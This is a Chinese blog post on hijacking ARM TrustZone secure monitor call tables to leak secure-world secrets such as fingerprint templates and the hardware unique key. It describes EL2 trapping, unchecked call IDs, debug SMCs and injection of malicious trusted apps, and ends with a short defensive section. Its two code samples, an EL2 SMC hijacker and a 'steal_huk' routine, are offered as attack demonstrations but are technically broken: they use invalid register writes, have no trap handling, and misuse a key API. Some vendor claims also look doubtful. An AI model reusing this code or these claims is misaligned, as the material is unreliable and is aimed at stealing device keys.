Jul 25 2026 Off 摘要 ARM TrustZone 将系统划分为普通世界与安全世界,通过安全监控调用(SMC)实现切换。高通、联发科等厂商在实现 SMC 处理表时,常未严格验证调用 ID 范围,且允许在 EL2/EL1 特权下修改 SMC 表指针。攻击者可利用这些漏洞,劫持合法 SMC 调用,将其重定向至恶意处理函数,从普通世界读取安全世界内存(包括指纹模板、加密密钥),甚至将恶意载荷注入安全用户态(S-EL0)的可信应用(TA)中,实现持久化隐蔽后门。 SMC 指令与调用表 SMC 快速调用在 TrustZone 架构中,普通世界(Normal World)的代码无论特权级多高,都无法直接访问标记为安全世界的物理内存或外设。唯一受控的跨域交互是通过 SMC(Secure Monitor Call) 指令。当普通世界执行 SMC #imm 时,CPU 陷入安全监控模式(Monitor Mode)或直接切换到安全世界的 EL3 固件。SMC 指令携带一个 16 位立即数,作为调用 ID,安全监控软件根据该 ID 查找预定义的函数表,执行相应的安全服务。 安全监控软件通常由 OEM 提供(如 Qualcomm 的 QSEE、MTK 的 Kinibi),运行在 EL3,充当 TrustZone 的看门人。其内部维护一个 SMC 调度表,每个条目包含一个调用 ID、处理函数指针以及参数个数等信息。调用表的静态与动态注册OEM 的 SMC 表通常分为两部分:编译期静态表(如高通 qsee_handle_smc)和动态注册表(用于后续加载的安全世界内核模块)。动态表的基址常存储在 EL3 固件的数据段中,可通过逆向固件或利用内存泄露漏洞获取。在某些实现中,动态表的尾指针未正确校验,导致调用 ID 可被恶意扩展,指向表中未初始化的条目甚至越界内存。更危险的是,EL2 Hypervisor 或具有内核权限的 EL1 代码可以修改普通世界侧的异常向量表,拦截 SMC 陷入之前的控制流。或者,在 EL3 固件存在堆溢出/任意写漏洞时,可直接篡改 SMC 表的指针,将合法调用重定向至攻击者注入的代码片段。 SMC 调用表劫持的攻击面 未验证的调用 ID 范围高通 MSM 平台的安全监控器(QSEE)在早期版本(如 Android 7-9)中,对 SMC ID 的范围检查仅限于表的上界,而下界和中间空洞未做校验。攻击者可以向一个未定义的 ID 发送 SMC,访问到表中偏移处的任意地址,该地址可能解析为攻击者控制的内存(如果 EL3 的全局变量恰好在表附近)。联发科的 Kinibi OS 则暴露了一组“调试 SMC”,这些 SMC 本用于工厂测试,但在量产固件中未被移除。调用这些调试 SMC 可以读取任意安全世界物理地址、修改页表,甚至执行 EL3 任意代码。通过 EL2 劫持 SMC 陷入路径在虚拟化环境中,EL2 可以捕获普通世界发出的 SMC 指令(通过 HCR_EL2.TSC 设置)。Hypervisor 可以:截获 SMC,修改参数后转发给安全监控。直接模拟安全世界响应,欺骗普通世界。将 SMC 调用重定向至恶意代码,执行任意操作。这种攻击在有恶意 EL2 的场景(如被攻破的宿主内核)下非常有效,因为普通世界的客户端无法区分真实的安全世界还是被 EL2 冒充的代理。S-EL0 TA 注入许多安全世界 OS(如 QSEE、OP-TEE)支持加载用户态可信应用(TA)。TA 位于 S-EL0,与安全世界内核隔离。如果 SMC 表被劫持,攻击者可以注入一个恶意 TA,并通过伪造的 SMC 调用将其映射到安全世界内存中。该 TA 可以持续窃取普通世界的敏感数据,或在安全世界内建立后门,绕过所有普通世界的安全检测。 劫持 QEMU 的 SMC 以泄露安全世界密钥 以下示例基于 ARM Trusted Firmware (ATF) 和 OP-TEE 在 QEMU 上的模拟环境。我们将演示通过修改 EL2 Hypervisor 的 SMC 陷阱来窃取 OP-TEE 的内部随机数。环境搭建使用 QEMU 模拟 ARMv8,ATF BL31 作为 EL3 固件,OP-TEE 作为安全世界 OS,Linux 作为普通世界。EL2 由一个自定义的 Hypervisor 小程序替代,捕获 SMC 并修改其行为。EL2 层的 SMC 劫持代码 // smc_hijack_el2.c // 运行在 EL2 的简单 SMC 劫持示例 #include<stdint.h> #define SMC_HCR_TSC (1 << 19) // HCR_EL2.TSC 位 voidel2_entry(){ uint64_t hcr; asmvolatile("mrs %0, hcr_el2" : "=r"(hcr)); hcr |= SMC_HCR_TSC; // 启用 SMC 捕获 asmvolatile("msr hcr_el2, %0" :: "r"(hcr)); while (1) { // 等待 SMC 陷入 uint64_t esr_el2, elr_el2, x0, x1; asmvolatile( "mrs %0, esr_el2\n" "mrs %1, elr_el2\n" : "=r"(esr_el2), "=r"(elr_el2) ); uint32_t imm = (esr_el2 >> 5) & 0xFFFF; // SMC 立即数 // 读取调用参数 asmvolatile("mov %0, x0" : "=r"(x0)); asmvolatile("mov %0, x1" : "=r"(x1)); if (imm == 0x1234) { // 目标 SMC ID // 修改参数,使安全世界返回错误或泄露额外数据 x0 = 0xdeadbeef; // 攻击者控制的返回地址 x1 = 0xcafebabe; // 附加数据 asmvolatile("msr x0, %0" :: "r"(x0)); asmvolatile("msr x1, %0" :: "r"(x1)); } // 转发 SMC 到 EL3 asmvolatile( "msr elr_el2, %0\n" "mov x0, %1\n" "eret" : : "r"(elr_el2), "r"(imm) : "x0", "x1" ); } } 说明:该代码运行在 EL2,捕获所有 SMC 调用。如果调用 ID 匹配目标(如 0x1234),则修改参数寄存器,再转发给 EL3。这可以使正常的安全世界调用返回被篡改的结果,导致普通世界的数据泄露。OP-TEE 侧获取安全世界密钥在 OP-TEE 中,密钥派生通常通过 TEE_GenerateKey 或直接调用硬件唯一密钥(HUK)。如果我们劫持了读取 HUK 的 SMC,就可以将 HUK 提取到普通世界。具体实现需要逆向特定 OEM 的 SMC ID 和参数结构,这里仅给出概念: // op-tee_patch.c (在安全世界注入后使用) // 将 HUK 读取并复制到共享内存 #include<tee_internal_api.h> #include<utee_defines.h> voidsteal_huk(void){ TEE_Result res; TEE_Attribute attrs[2]; uint8_t huk[32]; TEE_ObjectHandle hkey; // 假设 SMC 被劫持后,攻击者已在 S-EL0 加载了此 TA // 并且可以访问安全世界内存 res = TEE_GenerateKey(NULL, 256, NULL, 0, &hkey); if (res == TEE_SUCCESS) { TEE_GetObjectBufferAttribute(hkey, TEE_ATTR_SECRET_VALUE, huk, sizeof(huk)); // 将 HUK 复制到安全世界与普通世界的共享内存 // (通过映射物理地址实现) } } 检测与防御 监控与审计普通世界侧:使用 SMC 调用计数器异常监控,短时间内大量不同 SMC ID 的调用可能为攻击。EL2/Hypervisor 完整性:使用安全启动校验 Hypervisor,防止恶意 EL2。安全世界侧:定期审计 SMC 表的完整性,检测未授权的条目或指针偏移。硬件与系统加固锁定 SMC 表:将 SMC 表放置在只读内存中,并在 EL3 初始化后通过 MPU/PMP 锁定。SMC ID 范围严格校验:检查调用 ID 是否在白名单内,且对应的表条目是否经过签名。禁用调试 SMC:在量产固件中移除或通过 eFuse 永久禁用调试 SMC 调用。TA 签名强制:仅允许执行经过 OEM 签名的 TA,防止注入未授权代码。 结语 TrustZone 的安全依赖于安全监控固件的完整性,而 SMC 调用表则是这道防线上的闸门。一旦闸门被来自 EL2 或 EL3 内部的攻击者劫持,安全世界的所有秘密——从指纹模板到硬件唯一密钥——都将如流水般倾泻至普通世界。防御者必须将 SMC 表视为与安全世界内核同等重要的攻击面,从固件设计、调用校验到运行时完整性监控层层布防。在硅后门被彻底封堵之前,TrustZone 仍只是一个脆弱的信任孤岛。 Post navigation Previous PostPrevious 剪贴板即信道